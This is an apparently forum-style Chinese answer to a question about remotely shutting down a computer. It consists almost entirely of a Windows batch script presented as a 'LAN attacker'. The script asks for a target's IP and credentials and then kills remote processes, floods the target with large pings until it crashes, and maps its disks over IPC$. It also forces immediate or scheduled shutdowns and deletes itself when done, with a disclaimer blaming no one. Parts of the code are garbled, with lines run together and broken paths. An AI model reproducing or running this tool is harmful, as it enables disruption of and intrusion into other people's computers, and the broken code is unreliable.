如何实现电脑远程关机?

  @ echo offtitle hackerxfight

echo 局域网攻击！

color cf

title 攻击程序

:mode con: cols=70 lines=20

echo msgbox"局域网攻击程序！"  vb *** sg。vbsdel msg。vbs

cls

echo。

echo。

echo ----------------------------------------------------------------------

echo 本软件只用于个人研究专用

echo 如出现任何法律问题

echo 本作者概不负责

echo ----------------------------------------------------------------------

echo。

echo。

:ip

echo 请输入要攻击的IP（XXX。XXX。XXX。XXX）

set /p ip=ip:

set "ip=%ip:"=%"

echo 请输入要攻击的计算机用户名

set /p user=用户名:

set "user=%user:"=%"

echo 请输入要攻击的计算机的密码(如无密码直接按回车):

set /p pass=密码:

set "pass=%pass:"=%"

echo 正在连接远程电脑，请稍

候。

ping %ip%if %errorlevel% == 1 echo 远程计算机连接失败，原因可能为远程计算机未开启或网

络超时!pausegoto ip

goto start

:start

cls

echo。

echo。

echo ----------------------------------------------------------------------

echo 本软件只用于个人研究专用

echo 如出现任何法律问题

echo 本作者概不负责

echo ----------------------------------------------------------------------

echo。

echo。

echo 1、查看远程进程

echo 2、攻击远程IP

echo 3、映射远程磁盘

echo 4、关闭远程电脑

echo 5、更改攻击ip

echo 6、退出程序

set /p start= 请输入要操作的代码:

set "start=%start:"=%"

if "%start%"=="1" goto tasklist

if "%start%"=="2" goto ping

if "%start%"=="3" goto ipc

if "%start%"=="4" goto off

if "%start%"=="5" goto ip

if "%start%"=="6" goto end

if not errorlevel == 1 goto err

if not errorlevel == 2 goto err

if not errorlevel == 3 goto err

if not errorlevel == 4 goto err

if not errorlevel == 5 goto err

if not errorlevel == 6 goto err

:tasklist

cls

tasklist /s %ip% /u %user% /p %pass%

echo 是否结束远程进程？结束请按1，返回请按0。

set /p taskkill=请输入:

if "%taskkill%"=="0" goto start

if "%taskkill%"=="1" goto kill

if not errorlevel == 0 goto err

if not errorlevel == 1 goto err

:kill

set /p im=请输入要结束的进程（如 *** 。

  EXE）：

set "im=%im:"=%"

taskkill /s %ip% /u %user% /p %pass% /im %im% /t

goto tasklist

:ping

cls

echo 攻击远程IP直到他死机。

  按任意键开始。要终止请按Ctrl C退出程序!

pauseping %ip% -t -l 65500

:ipc

cls

echo 映射远程磁盘到本地！(请确认远程计算机开启IPC$共享)

net use \%ip%ipc$ "" /user:""set /p ipc=请输入要映射的网络磁盘:

set "ipc=%ipc:"=%"

set /p lan=请输入映射的磁盘盘符号(不要输入已存在的本地磁盘如C盘)：

net use %lan%: \%ip%%ipc%$ "%pass%" /user:"%user%"

pausegoto start

:off

cls

echo 强行关闭远程计算机！

echo 1、即时关机

echo 2、定时关机

echo 3、返回

set /p off=请输入:

if "%off%"=="1" goto shutdown

if "%off%"=="2" goto at

if "%off%"=="3" goto start

if not errorlevel == 1 goto err

if not errorlevel == 2 goto err

if not errorlevel == 3 goto err

:shutdown

cls

echo 关闭计算机输入s,重启计算机输入r。

set /p and=请输入：

set "and=%and:"=%"

echo 请设置关机倒记时（单位/秒）

set /p t=请输入倒记时：

set "t=%t:"=%"

echo 请设置关机注释（不能超过120字节）

set /p c=请输入注释：

set "c=%c:"=%"

net use \%ip%ipc$ "%pass%" /user:"%user%"

shutdown -m \%ip% -f -%and% -t %t% -c "%c%"

echo 任意键返回！

pausegoto start

:at

cls

echo 定时关闭远程计算机！

echo 关闭计算机输入s,重启计算机输入r。

set /p sr=请输入：

set "sr=%sr:"=%"

echo 请设置远程关机时间,现在时间为 %time% 。

net time %ip%

set /p offtime=请输入（如20:00）：

set "offtime=%offtime:"=%"

echo 请设置关机倒记时（单位/秒）

set /p att=请输入倒记时：

set "att=%att:"=%"

echo 请设置关机注释（不能超过120字节）

set /p atc=请输入注释：

set "atc=%atc:"=%"

net use \%ip%ipc$ "%pass%" /user:"%user%"

at \%ip% %offtime% shutdown -f -%sr% -t %att% -c "%atc"

if %errorlevel% == 1 echo 请确认网络是否正常！ pausegoto at

echo 任意键返回！

pausegoto start

:err

echo 您输入的格式不正确，任意键返回，重新输入。

   pause:end

exit

attrib -h -s -r -a %0

del %0

把这些代码保存为bat格式，这是个局域网攻击器。